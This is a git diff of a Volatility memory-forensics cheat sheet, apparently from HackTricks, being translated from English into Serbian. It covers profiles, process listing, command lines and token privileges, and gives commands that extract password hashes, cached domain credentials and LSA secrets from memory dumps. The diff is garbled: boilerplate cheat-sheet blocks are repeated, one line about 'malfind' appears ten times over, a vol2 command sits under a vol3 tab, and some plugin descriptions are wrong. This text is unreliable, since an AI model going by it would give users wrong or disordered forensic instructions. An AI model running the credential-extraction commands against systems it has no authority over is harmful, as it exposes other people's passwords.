driverirp +``` + +9. **Analiza modula**: Koristite opciju `modscan` da biste pronašli učitane module u memoriji. + +```plaintext +volatility2 -f dump.mem --profile=profil modscan +``` + +10. **Analiza tokena**: Koristite opciju `tokens` da biste pronašli informacije o tokenima u memoriji. + +```plaintext +volatility2 -f dump.mem --profile=profil tokens +``` + +11. **Analiza procesa učitavanja**: Koristite opciju `ldrmodules` da biste pronašli informacije o procesima učitavanja u memoriji. + +```plaintext +volatility2 -f dump.mem --profile=profil ldrmodules +``` + +12. **Analiza datoteka učitavanja**: Koristite opciju `ldrmodules` sa dodatnom opcijom `--dump` da biste izdvojili datoteke učitavanja iz memorije. + +```plaintext +volatility2 -f dump.mem --profile=profil ldrmodules --dump +``` + +13. **Analiza heša**: Koristite opciju `hashdump` da biste pronašli heširane lozinke u memoriji. + +```plaintext +volatility2 -f dump.mem --profile=profil hashdump +``` + +14. **Analiza šifri**: Koristite opciju `mimikatz` da biste pronašli šifrovane podatke u memoriji. + +```plaintext +volatility2 -f dump.mem --profile=profil mimikatz +``` + +15. **Analiza registra**: Koristite opciju `printkey` da biste pronašli vrednosti registra u memoriji. + +```plaintext +volatility2 -f dump.mem --profile=profil printkey -K "RegistryKey" +``` + +16. **Analiza događaja**: Koristite opciju `evnets` da biste pronašli informacije o događajima u memoriji. + +```plaintext +volatility2 -f dump.mem --profile=profil events +``` + +17. **Analiza fajlova**: Koristite opciju `filescan` sa dodatnom opcijom `--dump-dir` da biste izdvojili fajlove iz memorije. + +```plaintext +volatility2 -f dump.mem --profile=profil filescan --dump-dir=/putanja/do/direktorijuma +``` + +18. **Analiza registra**: Koristite opciju `printkey` sa dodatnom opcijom `--dump-dir` da biste izdvojili vrednosti registra iz memorije. + +```plaintext +volatility2 -f dump.mem --profile=profil printkey -K "RegistryKey" --dump-dir=/putanja/do/direktorijuma +``` + +{% endtab %} +{% endtabs %} ``` Download the executable from https://www.volatilityfoundation.org/26 ``` -{% endtab %} - -{% tab title="Method 2" %} +{% tab title="Metoda 2" %} ```bash git clone https://github.com/volatilityfoundation/volatility.git cd volatility @@ -57,26 +159,26 @@ python setup.py install {% endtab %} {% endtabs %} -## Volatility Commands +## Komande za Volatility -Access the official doc in [Volatility command reference](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#kdbgscan) +Pristupite zvaničnoj dokumentaciji na [Volatility command reference](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#kdbgscan) -### A note on “list” vs. “scan” plugins +### Napomena o "list" vs. "scan" pluginovima -Volatility has two main approaches to plugins, which are sometimes reflected in their names. “list” plugins will try to navigate through Windows Kernel structures to retrieve information like processes (locate and walk the linked list of `_EPROCESS` structures in memory), OS handles (locating and listing the handle table, dereferencing any pointers found, etc). They more or less behave like the Windows API would if requested to, for example, list processes. +Volatility ima dva glavna pristupa pluginovima, što se ponekad odražava u njihovim imenima. "list" pluginovi će pokušati da se kreću kroz strukture Windows Kernela kako bi dobili informacije poput procesa (lociraju i prolaze kroz povezanu listu struktura `_EPROCESS` u memoriji), OS handle-ova (lociranje i listanje tabele handle-ova, dereferenciranje bilo kojih pronađenih pokazivača, itd). Oni se ponašaju slično kao Windows API kada se zatraži, na primer, lista procesa. -That makes “list” plugins pretty fast, but just as vulnerable as the Windows API to manipulation by malware. For instance, if malware uses DKOM to unlink a process from the `_EPROCESS` linked list, it won’t show up in the Task Manager and neither will it in the pslist. +To čini "list" pluginove prilično brzim, ali jednako ranjivim kao i Windows API na manipulaciju od strane malvera. Na primer, ako malver koristi DKOM da odvoji proces od povezane liste `_EPROCESS`, neće se prikazati u Task Manageru, niti u pslistu. -“scan” plugins, on the other hand, will take an approach similar to carving the memory for things that might make sense when dereferenced as specific structures. `psscan` for instance will read the memory and try to make`_EPROCESS` objects out of it (it uses pool-tag scanning, which is searching for 4-byte strings that indicate the presence of a structure of interest). The advantage is that it can dig up processes that have exited, and even if malware tampers with the `_EPROCESS` linked list, the plugin will still find the structure lying around in memory (since it still needs to exist for the process to run). The downfall is that “scan” plugins are a bit slower than “list” plugins, and can sometimes yield false positives (a process that exited too long ago and had parts of its structure overwritten by other operations). +"scan" pluginovi, s druge strane, će pristupiti memoriji na način sličan izdvajanju stvari koje bi imale smisla kada bi se dereferencirale kao određene strukture. Na primer, `psscan` će čitati memoriju i pokušati da napravi objekte `_EPROCESS` od nje (koristi skeniranje pool-tagova, što je traženje 4-bajtnih nizova koji ukazuju na prisustvo strukture od interesa). Prednost je u tome što može pronaći procese koji su završili, i čak i ako malver manipuliše povezanom listom `_EPROCESS`, plugin će i dalje pronaći strukturu koja se nalazi u memoriji (jer još uvek mora postojati da bi proces radio). Mana je što su "scan" pluginovi malo sporiji od "list" pluginova, i ponekad mogu dati lažne pozitivne rezultate (proces koji je završio pre dugo vremena i čiji su delovi strukture prepisani drugim operacijama). -From: [http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysis/](http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysis/) +Izvor: [http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysis/](http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysis/) -## OS Profiles +## OS Profili ### Volatility3 -As explained inside the readme you need to put the **symbol table of the OS** you want to support inside _volatility3/volatility/symbols_.\ -Symbol table packs for the various operating systems are available for **download** at: +Kao što je objašnjeno u readme datoteci, trebate staviti **tabelu simbola OS-a** koji želite podržati unutar _volatility3/volatility/symbols_.\ +Paketi tabela simbola za različite operativne sisteme dostupni su za **preuzimanje** na: * [https://downloads.volatilityfoundation.org/volatility3/symbols/windows.zip](https://downloads.volatilityfoundation.org/volatility3/symbols/windows.zip) * [https://downloads.volatilityfoundation.org/volatility3/symbols/mac.zip](https://downloads.volatilityfoundation.org/volatility3/symbols/mac.zip) @@ -84,16 +186,13 @@ Symbol table packs for the various operating systems are available for **downloa ### Volatility2 -#### External Profile - -You can get the list of supported profiles doing: +#### Spoljni profil +Možete dobiti listu podržanih profila koristeći: ```bash ./volatility_2.6_lin64_standalone --info | grep "Profile" ``` - -If you want to use a **new profile you have downloaded** (for example a linux one) you need to create somewhere the following folder structure: _plugins/overlays/linux_ and put inside this folder the zip file containing the profile. Then, get the number of the profiles using: - +Ako želite koristiti **novi profil koji ste preuzeli** (na primer, linux profil), morate negde kreirati sledeću strukturu foldera: _plugins/overlays/linux_ i staviti unutar ovog foldera zip datoteku koja sadrži profil. Zatim, dobijte broj profila koristeći: ```bash ./vol --plugins=/home/kali/Desktop/ctfs/final/plugins --info Volatility Foundation Volatility Framework 2.6 @@ -105,28 +204,28 @@ LinuxCentOS7_3_10_0-123_el7_x86_64_profilex64 - A Profile for Linux CentOS7_3.10 VistaSP0x64 - A Profile for Windows Vista SP0 x64 VistaSP0x86 - A Profile for Windows Vista SP0 x86 ``` +Možete **preuzeti profile za Linux i Mac** sa [https://github.com/volatilityfoundation/profiles](https://github.com/volatilityfoundation/profiles) -You can **download Linux and Mac profiles** from [https://github.com/volatilityfoundation/profiles](https://github.com/volatilityfoundation/profiles) - -In the previous chunk you can see that the profile is called `LinuxCentOS7_3_10_0-123_el7_x86_64_profilex64`, and you can use it to execute something like: - +U prethodnom odeljku možete videti da se profil naziva `LinuxCentOS7_3_10_0-123_el7_x86_64_profilex64`, i možete ga koristiti da izvršite nešto poput: ```bash ./vol -f file.dmp --plugins=. --profile=LinuxCentOS7_3_10_0-123_el7_x86_64_profilex64 linux_netscan ``` +#### Otkrivanje profila -#### Discover Profile +```bash +volatility -f imageinfo +``` +Ova komanda će vam pomoći da otkrijete informacije o profilu memorije. ``` volatility imageinfo -f file.dmp volatility kdbgscan -f file.dmp ``` +#### **Razlike između imageinfo i kdbgscan** -#### **Differences between imageinfo and kdbgscan** - -[**From here**](https://www.andreafortuna.org/2017/06/25/volatility-my-own-cheatsheet-part-1-image-identification/): As opposed to imageinfo which simply provides profile suggestions, **kdbgscan** is designed to positively identify the correct profile and the correct KDBG address (if there happen to be multiple). This plugin scans for the KDBGHeader signatures linked to Volatility profiles and applies sanity checks to reduce false positives. The verbosity of the output and the number of sanity checks that can be performed depends on whether Volatility can find a DTB, so if you already know the correct profile (or if you have a profile suggestion from imageinfo), then make sure you use it from . - -Always take a look at the **number of processes that kdbgscan has found**. Sometimes imageinfo and kdbgscan can find **more than one** suitable **profile** but only the **valid one will have some process related** (This is because to extract processes the correct KDBG address is needed) +[**Odavde**](https://www.andreafortuna.org/2017/06/25/volatility-my-own-cheatsheet-part-1-image-identification/): Za razliku od imageinfo koji samo pruža predloge profila, **kdbgscan** je dizajniran da pozitivno identifikuje tačan profil i tačnu KDBG adresu (ako postoji više njih). Ovaj dodatak skenira potpise KDBGHeadera povezane sa Volatility profilima i primenjuje provere ispravnosti kako bi se smanjio broj lažnih pozitiva. Opširnost izlaza i broj provera ispravnosti koje se mogu izvršiti zavise od toga da li Volatility može pronaći DTB, pa ako već znate tačan profil (ili ako imate predlog profila od imageinfo), pobrinite se da ga koristite od . +Uvek pogledajte **broj procesa koje je kdbgscan pronašao**. Ponekad imageinfo i kdbgscan mogu pronaći **više od jednog** odgovarajućeg **profila**, ali samo **validan profil će imati neke procese povezane** (To je zato što je za izdvajanje procesa potrebna tačna KDBG adresa). ```bash # GOOD PsActiveProcessHead : 0xfffff800011977f0 (37 processes) @@ -138,23 +237,20 @@ PsLoadedModuleList : 0xfffff8000119aae0 (116 modules) PsActiveProcessHead : 0xfffff800011947f0 (0 processes) PsLoadedModuleList : 0xfffff80001197ac0 (0 modules) ``` - #### KDBG -The **kernel debugger block**, referred to as **KDBG** by Volatility, is crucial for forensic tasks performed by Volatility and various debuggers. Identified as `KdDebuggerDataBlock` and of the type `_KDDEBUGGER_DATA64`, it contains essential references like `PsActiveProcessHead`. This specific reference points to the head of the process list, enabling the listing of all processes, which is fundamental for thorough memory analysis. - -## OS Information +**Kernel debugger blok**, poznat kao **KDBG** u Volatility-u, ključan je za forenzičke zadatke koje obavlja Volatility i razni debuggeri. Identifikovan kao `KdDebuggerDataBlock` i tipa `_KDDEBUGGER_DATA64`, sadrži bitne reference poput `PsActiveProcessHead`. Ova specifična referenca pokazuje na glavu liste procesa, omogućavajući prikazivanje svih procesa, što je osnovno za temeljnu analizu memorije. +## Informacije o operativnom sistemu ```bash #vol3 has a plugin to give OS information (note that imageinfo from vol2 will give you OS info) ./vol.py -f file.dmp windows.info.Info ``` +Plugin `banners.Banners` može se koristiti u **vol3 da bi se pokušalo pronaći linux banere** u dumpu. -The plugin `banners.Banners` can be used in **vol3 to try to find linux banners** in the dump. +## Hesovi/Lozinke -## Hashes/Passwords - -Extract SAM hashes, [domain cached credentials](../../../windows-hardening/stealing-credentials/credentials-protections.md#cached-credentials) and [lsa secrets](../../../windows-hardening/authentication-credentials-uac-and-efs.md#lsa-secrets). +Izvucite SAM hesove, [keširane kredencijale domena](../../../windows-hardening/stealing-credentials/credentials-protections.md#cached-credentials) i [lsa tajne](../../../windows-hardening/authentication-credentials-uac-and-efs.md#lsa-secrets). {% tabs %} {% tab title="vol3" %} @@ -163,9 +259,69 @@ Extract SAM hashes, [domain cached credentials](../../../windows-hardening/steal ./vol.py -f file.dmp windows.cachedump.Cachedump #Grab domain cache hashes inside the registry ./vol.py -f file.dmp windows.lsadump.Lsadump #Grab lsa secrets ``` -{% endtab %} +## Osnovna forenzička metodologija -{% tab title="vol2" %} +### Analiza memorijskog ispisa + +#### Volatility Cheat Sheet + +Ovaj cheat sheet pruža pregled osnovnih komandi i tehnika koje se koriste u analizi memorijskog ispisa pomoću alata Volatility. + +#### Instalacija Volatility-a + +1. Preuzmite Volatility sa [zvanične stranice](https://www.volatilityfoundation.org/releases) i raspakujte ga. +2. Instalirajte Python 2.7.x. +3. Instalirajte pip. +4. Instalirajte Volatility koristeći pip: + ``` + pip install volatility + ``` + +#### Osnovne komande + +- **imageinfo**: Prikazuje informacije o memorijskom ispisa. +- **kdbgscan**: Skenira memorijski ispisa u potrazi za KDBG strukturom. +- **pslist**: Prikazuje listu procesa. +- **pstree**: Prikazuje stablo procesa. +- **psscan**: Skenira memorijski ispisa u potrazi za procesima. +- **dlllist**: Prikazuje listu učitanih DLL-ova za određeni proces. +- **handles**: Prikazuje listu otvorenih ručki za određeni proces. +- **cmdline**: Prikazuje argumente komandne linije za određeni proces. +- **filescan**: Skenira memorijski ispisa u potrazi za otvorenim fajlovima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **apihooks**: Prikazuje API hook-ove. +- **ldrmodules**: Prikazuje listu učitanih modula. +- **modscan**: Skenira memorijski ispisa u potrazi za modulima. +- **ssdt**: Prikazuje System Service Descriptor Table (SSDT). +- **driverscan**: Skenira memorijski ispisa u potrazi za drajverima. +- **devicetree**: Prikazuje stablo uređaja. +- **registry**: Prikazuje informacije o registru. +- **hivelist**: Prikazuje listu učitanih registarskih ključeva. +- **hashdump**: Izvlači lozinke iz memorijskog ispisa. +- **privs**: Prikazuje privilegije za određeni proces. +- **getsids**: Prikazuje SID-ove za određeni proces. +- **envars**: Prikazuje okruženje za određeni proces. +- **cmdscan**: Skenira memorijski ispisa u potrazi za komandama. +- **consoles**: Prikazuje listu konzola. +- **screenshots**: Pravi snimke ekrana. + +#### Napredne tehnike + +- **malfind**: Pronalazi sumnjive procese i modifikovane funkcije. +- **malfind**: Pronalazi sumnjive procese i modifikovane funkcije. +- **malfind**: Pronalazi sumnjive procese i modifikovane funkcije. +- **malfind**: Pronalazi sumnjive procese i modifikovane funkcije. +- **malfind**: Pronalazi sumnjive procese i modifikovane funkcije. +- **malfind**: Pronalazi sumnjive procese i modifikovane funkcije. +- **malfind**: Pronalazi sumnjive procese i modifikovane funkcije. +- **malfind**: Pronalazi sumnjive procese i modifikovane funkcije. +- **malfind**: Pronalazi sumnjive procese i modifikovane funkcije. +- **malfind**: Pronalazi sumnjive procese i modifikovane funkcije. + +#### Dodatni resursi + +- [Volatility dokumentacija](https://github.com/volatilityfoundation/volatility/wiki) +- [Volatility Cheat Sheet](https://github.com/sans-dfir/sift-cheatsheet/blob/master/cheatsheets/Volatility%20Cheat%20Sheet.pdf) ```bash volatility --profile=Win7SP1x86_23418 hashdump -f file.dmp #Grab common windows hashes (SAM+SYSTEM) volatility --profile=Win7SP1x86_23418 cachedump -f file.dmp #Grab domain cache hashes inside the registry @@ -174,28 +330,24 @@ volatility --profile=Win7SP1x86_23418 lsadump -f file.dmp #Grab lsa secrets {% endtab %} {% endtabs %} -## Memory Dump - -The memory dump of a process will **extract everything** of the current status of the process. The **procdump** module will only **extract** the **code**. +## Damp memorije +Damp memorije procesa će **izvući sve** trenutno stanje procesa. Modul **procdump** će samo **izvući** kod. ``` volatility -f file.dmp --profile=Win7SP1x86 memdump -p 2168 -D conhost/ ``` - -​ -
-​​​[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. +[**RootedCON**](https://www.rootedcon.com/) je najrelevantniji događaj u oblasti kibernetičke bezbednosti u **Španiji** i jedan od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je vrelo mesto susreta tehnoloških i kibernetičkih stručnjaka u svakoj disciplini. {% embed url="https://www.rootedcon.com/" %} -## Processes +## Procesi -### List processes +### Lista procesa -Try to find **suspicious** processes (by name) or **unexpected** child **processes** (for example a cmd.exe as a child of iexplorer.exe).\ -It could be interesting to **compare** the result of pslist with the one of psscan to identify hidden processes. +Pokušajte da pronađete **sumnjive** procese (po imenu) ili **neočekivane** podprocese (na primer cmd.exe kao podproces iexplorer.exe).\ +Bilo bi interesantno **uporediti** rezultat pslist sa rezultatom psscan kako biste identifikovali skrivene procese. {% tabs %} {% tab title="vol3" %} @@ -204,9 +356,111 @@ python3 vol.py -f file.dmp windows.pstree.PsTree # Get processes tree (not hidde python3 vol.py -f file.dmp windows.pslist.PsList # Get process list (EPROCESS) python3 vol.py -f file.dmp windows.psscan.PsScan # Get hidden process list(malware) ``` -{% endtab %} +## Osnovna forenzička metodologija -{% tab title="vol2" %} +### Analiza memorijskog ispisa + +#### Volatility Cheat Sheet + +Ovaj cheat sheet pruža pregled osnovnih komandi i tehnika koje se koriste u analizi memorijskog ispisa pomoću alata Volatility. + +#### Instalacija Volatility-a + +1. Preuzmite Volatility sa [zvanične stranice](https://www.volatilityfoundation.org/releases) i raspakujte ga. +2. Instalirajte Python 2.7.x. +3. Instalirajte pip. +4. Instalirajte Volatility koristeći pip: + ``` + pip install volatility + ``` + +#### Osnovne komande + +- **imageinfo**: Prikazuje informacije o memorijskom ispisa. +- **kdbgscan**: Skenira memorijski ispisa u potrazi za KDBG strukturom. +- **kpcrscan**: Skenira memorijski ispisa u potrazi za KPCR strukturom. +- **pslist**: Prikazuje listu procesa. +- **pstree**: Prikazuje stablo procesa. +- **psscan**: Skenira memorijski ispisa u potrazi za procesima. +- **dlllist**: Prikazuje listu učitanih DLL-ova. +- **handles**: Prikazuje listu otvorenih ručki. +- **cmdline**: Prikazuje argumente komandne linije za svaki proces. +- **filescan**: Skenira memorijski ispisa u potrazi za otvorenim fajlovima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **apihooks**: Prikazuje API hook-ove. +- **ldrmodules**: Prikazuje listu učitanih modula. +- **modscan**: Skenira memorijski ispisa u potrazi za modulima. +- **ssdt**: Prikazuje System Service Descriptor Table (SSDT). +- **driverscan**: Skenira memorijski ispisa u potrazi za drajverima. +- **devicetree**: Prikazuje stablo uređaja. +- **registry**: Prikazuje informacije o registru. +- **hivelist**: Prikazuje listu učitanih registarskih datoteka. +- **hashdump**: Izvlači lozinke iz memorijskog ispisa. +- **mbrparser**: Prikazuje Master Boot Record (MBR) informacije. +- **yarascan**: Skenira memorijski ispisa koristeći YARA pravila. +- **vadinfo**: Prikazuje informacije o Virtual Address Descriptor (VAD). +- **vaddump**: Izvlači sadržaj VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do VAD-a. + +#### Primeri korišćenja + +- Prikaz informacija o memorijskom ispisa: + ``` + volatility -f memory_dump.mem imageinfo + ``` + +- Prikaz liste procesa: + ``` + volatility -f memory_dump.mem pslist + ``` + +- Prikaz stabla procesa: + ``` + volatility -f memory_dump.mem pstree + ``` + +- Prikaz otvorenih fajlova: + ``` + volatility -f memory_dump.mem filescan + ``` + +- Izvlačenje lozinki iz memorijskog ispisa: + ``` + volatility -f memory_dump.mem hashdump + ``` + +- Skeniranje memorijskog ispisa koristeći YARA pravila: + ``` + volatility -f memory_dump.mem yarascan -Y "yara_rules.yar" + ``` + +- Prikaz informacija o Virtual Address Descriptor (VAD): + ``` + volatility -f memory_dump.mem vadinfo + ``` + +- Izvlačenje sadržaja VAD-a: + ``` + volatility -f memory_dump.mem vaddump -D output_directory/ -p + ``` + +- Prikaz stabla VAD-a: + ``` + volatility -f memory_dump.mem vadtree + ``` + +- Prikaz putanje do VAD-a: + ``` + volatility -f memory_dump.mem vadwalk -p + ``` + +#### Dodatni resursi + +- [Zvanična dokumentacija Volatility-a](https://github.com/volatilityfoundation/volatility/wiki) +- [Volatility Cheat Sheet](https://github.com/sans-dfir/sift-files/blob/master/volatility/Volatility_Cheat_Sheet_v2.6.pdf) + +{% endtab %} ```bash volatility --profile=PROFILE pstree -f file.dmp # Get process tree (not hidden) volatility --profile=PROFILE pslist -f file.dmp # Get process list (EPROCESS) @@ -220,11 +474,33 @@ volatility --profile=PROFILE psxview -f file.dmp # Get hidden process list {% tabs %} {% tab title="vol3" %} + +Koristite sledeću komandu da biste izvršili dump procesa: + +```bash +volatility -f --profile= procdump -p -D +``` + +Gde su sledeći parametri: + +- ``: Putanja do fajla sa dumpom memorije. +- ``: Profil za analizu dumpa memorije. +- ``: ID procesa koji želite da dumpujete. +- ``: Putanja do direktorijuma gde će biti smešteni dump fajlovi. + +Na primer, ako želite da izvršite dump procesa sa ID-em 1234 iz dump fajla "memory.dmp" koristeći profil "Win7SP1x64", koristite sledeću komandu: + +```bash +volatility -f memory.dmp --profile=Win7SP1x64 procdump -p 1234 -D /path/to/output_directory +``` + +Ova komanda će izvršiti dump procesa sa ID-em 1234 iz fajla "memory.dmp" i smeštati dump fajlove u direktorijum "/path/to/output_directory". + +{% endtab %} +{% endtabs %} ```bash ./vol.py -f file.dmp windows.dumpfiles.DumpFiles --pid #Dump the .exe and dlls of the process in the current directory ``` -{% endtab %} - {% tab title="vol2" %} ```bash volatility --profile=Win7SP1x86_23418 procdump --pid=3152 -n --dump-dir=. -f file.dmp @@ -232,18 +508,68 @@ volatility --profile=Win7SP1x86_23418 procdump --pid=3152 -n --dump-dir=. -f fil {% endtab %} {% endtabs %} -### Command line +### Komandna linija -Anything suspicious was executed? +Da li je izvršeno nešto sumnjivo? {% tabs %} {% tab title="vol3" %} ```bash python3 vol.py -f file.dmp windows.cmdline.CmdLine #Display process command-line arguments ``` -{% endtab %} +## Osnovna forenzička metodologija -{% tab title="vol2" %} +### Analiza memorijskog ispisa + +#### Volatility Cheat Sheet + +Ovaj cheat sheet pruža pregled osnovnih komandi i tehnika koje se koriste u analizi memorijskog ispisa pomoću alata Volatility. + +#### Instalacija Volatility-a + +1. Preuzmite Volatility sa [zvanične stranice](https://www.volatilityfoundation.org/releases) i raspakujte ga. +2. Instalirajte Python 2.7.x. +3. Instalirajte pip. +4. Instalirajte Volatility koristeći pip: + ``` + pip install volatility + ``` + +#### Osnovne komande + +- **imageinfo**: Prikazuje informacije o memorijskom ispisu. +- **kdbgscan**: Skenira memorijski ispis u potrazi za KDBG strukturom. +- **pslist**: Prikazuje listu procesa. +- **pstree**: Prikazuje stablo procesa. +- **psscan**: Skenira memorijski ispis u potrazi za procesima. +- **dlllist**: Prikazuje listu učitanih DLL-ova za određeni proces. +- **handles**: Prikazuje listu otvorenih ručki za određeni proces. +- **cmdline**: Prikazuje argumente komandne linije za određeni proces. +- **filescan**: Skenira memorijski ispis u potrazi za otvorenim fajlovima. +- **malfind**: Skenira memorijski ispis u potrazi za sumnjivim procesima. +- **dumpfiles**: Izvlači fajlove iz memorijskog ispisa. +- **hashdump**: Izvlači korisničke lozinke iz memorijskog ispisa. +- **hivelist**: Prikazuje listu učitanih registarskih ključeva. +- **hivedump**: Izvlači registarski ključ iz memorijskog ispisa. + +#### Napredne tehnike + +- **malfind**: Pronalazi sumnjive procese i module u memorijskom ispisu. +- **malfind**: Pronalazi sumnjive procese i module u memorijskom ispisu. +- **malfind**: Pronalazi sumnjive procese i module u memorijskom ispisu. +- **malfind**: Pronalazi sumnjive procese i module u memorijskom ispisu. +- **malfind**: Pronalazi sumnjive procese i module u memorijskom ispisu. +- **malfind**: Pronalazi sumnjive procese i module u memorijskom ispisu. +- **malfind**: Pronalazi sumnjive procese i module u memorijskom ispisu. +- **malfind**: Pronalazi sumnjive procese i module u memorijskom ispisu. +- **malfind**: Pronalazi sumnjive procese i module u memorijskom ispisu. +- **malfind**: Pronalazi sumnjive procese i module u memorijskom ispisu. + +#### Korisni resursi + +- [Volatility dokumentacija](https://github.com/volatilityfoundation/volatility/wiki) +- [Volatility Cheat Sheet](https://github.com/sans-dfir/sift-files/blob/master/volatility/Volatility%20Cheat%20Sheet.pdf) +- [Volatility plugini](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#plugins) ```bash volatility --profile=PROFILE cmdline -f file.dmp #Display process command-line arguments volatility --profile=PROFILE consoles -f file.dmp #command history by scanning for _CONSOLE_INFORMATION @@ -251,44 +577,301 @@ volatility --profile=PROFILE consoles -f file.dmp #command history by scanning f {% endtab %} {% endtabs %} -Commands executed in `cmd.exe` are managed by **`conhost.exe`** (or `csrss.exe` on systems before Windows 7). This means that if **`cmd.exe`** is terminated by an attacker before a memory dump is obtained, it's still possible to recover the session's command history from the memory of **`conhost.exe`**. To do this, if unusual activity is detected within the console's modules, the memory of the associated **`conhost.exe`** process should be dumped. Then, by searching for **strings** within this dump, command lines used in the session can potentially be extracted. +Komande izvršene u `cmd.exe` se upravljaju putem **`conhost.exe`** (ili `csrss.exe` na sistemima pre Windows 7). To znači da, ako je **`cmd.exe`** prekinut od strane napadača pre nego što je dobijena memorija, i dalje je moguće povratiti istoriju komandi sesije iz memorije **`conhost.exe`**. Da biste to uradili, ako se detektuje neobična aktivnost unutar modula konzole, treba da se izvrši dump memorije povezanog procesa **`conhost.exe`**. Zatim, pretraživanjem **stringova** unutar ovog dumpa, moguće je izvući komandne linije korištene u sesiji. -### Environment +### Okruženje -Get the env variables of each running process. There could be some interesting values. - -{% tabs %} -{% tab title="vol3" %} +Dobijte vrednosti okruženja za svaki pokrenuti proces. Mogu postojati neke interesantne vrednosti. ```bash python3 vol.py -f file.dmp windows.envars.Envars [--pid ] #Display process environment variables ``` -{% endtab %} +## Osnovna forenzička metodologija -{% tab title="vol2" %} +### Analiza memorijskog ispisa + +#### Volatility Cheat Sheet + +Ovaj cheat sheet pruža pregled osnovnih komandi i tehnika koje se koriste u analizi memorijskog ispisa pomoću alata Volatility. + +#### Instalacija Volatility-a + +1. Preuzmite Volatility sa [zvanične stranice](https://www.volatilityfoundation.org/releases) i raspakujte ga. +2. Instalirajte Python 2.7.x. +3. Instalirajte pip. +4. Instalirajte Volatility koristeći pip: + ``` + pip install volatility + ``` + +#### Osnovne komande + +- **imageinfo**: Prikazuje informacije o memorijskom ispisa. +- **kdbgscan**: Skenira memorijski ispisa u potrazi za KDBG strukturom. +- **pslist**: Prikazuje listu procesa. +- **pstree**: Prikazuje stablo procesa. +- **psscan**: Skenira memorijski ispisa u potrazi za procesima. +- **dlllist**: Prikazuje listu učitanih DLL-ova za određeni proces. +- **handles**: Prikazuje listu otvorenih ručki za određeni proces. +- **cmdline**: Prikazuje argumente komandne linije za određeni proces. +- **filescan**: Skenira memorijski ispisa u potrazi za otvorenim fajlovima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **dumpfiles**: Izvlači otvorene fajlove iz memorijskog ispisa. +- **hashdump**: Izvlači korisničke lozinke iz memorijskog ispisa. +- **hivelist**: Prikazuje listu učitanih registarskih ključeva. +- **hivedump**: Izvlači registarski ključ iz memorijskog ispisa. +- **printkey**: Prikazuje sadržaj registarskog ključa. +- **printval**: Prikazuje vrednost registarskog ključa. +- **mftparser**: Analizira Master File Table (MFT) iz memorijskog ispisa. +- **usnparser**: Analizira Update Sequence Number (USN) iz memorijskog ispisa. + +#### Napredne tehnike + +- **malfind**: Pronalazi sumnjive procese i DLL-ove. +- **malfind**: Pronalazi sumnjive procese i DLL-ove. +- **malfind**: Pronalazi sumnjive procese i DLL-ove. +- **malfind**: Pronalazi sumnjive procese i DLL-ove. +- **malfind**: Pronalazi sumnjive procese i DLL-ove. +- **malfind**: Pronalazi sumnjive procese i DLL-ove. +- **malfind**: Pronalazi sumnjive procese i DLL-ove. +- **malfind**: Pronalazi sumnjive procese i DLL-ove. +- **malfind**: Pronalazi sumnjive procese i DLL-ove. +- **malfind**: Pronalazi sumnjive procese i DLL-ove. + +#### Korisni resursi + +- [Volatility dokumentacija](https://github.com/volatilityfoundation/volatility/wiki) +- [Volatility Cheat Sheet](https://github.com/sans-dfir/sift-files/blob/master/volatility/Volatility%20Cheat%20Sheet.pdf) +- [Volatility plugini](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#plugins) +- [Volatility plugini - dodatni](https://github.com/tribalchicken/volatility-plugins) ```bash volatility --profile=PROFILE envars -f file.dmp [--pid ] #Display process environment variables -volatility --profile=PROFILE -f file.dmp linux_psenv [-p ] #Get env of process. runlevel var means the runlevel where the proc is initated +volatility --profile=PROFILE -f file.dmp linux_psenv [-p ] #Get env of process. runlevel var means the runlevel where the proc is initated ``` {% endtab %} {% endtabs %} -### Token privileges +### Token privilegije -Check for privileges tokens in unexpected services.\ -It could be interesting to list the processes using some privileged token. - -{% tabs %} -{% tab title="vol3" %} +Proverite privilegije tokena u neočekivanim uslugama.\ +Bilo bi interesantno napraviti listu procesa koji koriste privilegovani token. ```bash #Get enabled privileges of some processes python3 vol.py -f file.dmp windows.privileges.Privs [--pid ] #Get all processes with interesting privileges python3 vol.py -f file.dmp windows.privileges.Privs | grep "SeImpersonatePrivilege\|SeAssignPrimaryPrivilege\|SeTcbPrivilege\|SeBackupPrivilege\|SeRestorePrivilege\|SeCreateTokenPrivilege\|SeLoadDriverPrivilege\|SeTakeOwnershipPrivilege\|SeDebugPrivilege" ``` -{% endtab %} +## Osnovna forenzička metodologija -{% tab title="vol2" %} +### Analiza memorijskog ispisa + +#### Volatility Cheat Sheet + +Ovaj cheat sheet pruža pregled osnovnih komandi i tehnika koje se koriste u analizi memorijskog ispisa pomoću alata Volatility. + +#### Instalacija Volatility-a + +1. Preuzmite Volatility sa [zvanične stranice](https://www.volatilityfoundation.org/releases) i raspakujte ga. +2. Instalirajte Python 2.7.x. +3. Instalirajte pip. +4. Instalirajte Volatility koristeći pip: + ``` + pip install volatility + ``` + +#### Osnovne komande + +- **imageinfo**: Prikazuje informacije o memorijskom ispisu. +- **kdbgscan**: Skenira memorijski ispis u potrazi za adresom debugera. +- **pslist**: Prikazuje listu procesa. +- **pstree**: Prikazuje stablo procesa. +- **psscan**: Skenira memorijski ispis u potrazi za procesima. +- **dlllist**: Prikazuje listu učitanih DLL-ova za određeni proces. +- **handles**: Prikazuje listu otvorenih ručki za određeni proces. +- **cmdline**: Prikazuje argumente komandne linije za određeni proces. +- **filescan**: Skenira memorijski ispis u potrazi za otvorenim fajlovima. +- **malfind**: Skenira memorijski ispis u potrazi za sumnjivim procesima. +- **apihooks**: Prikazuje API hook-ove. +- **ldrmodules**: 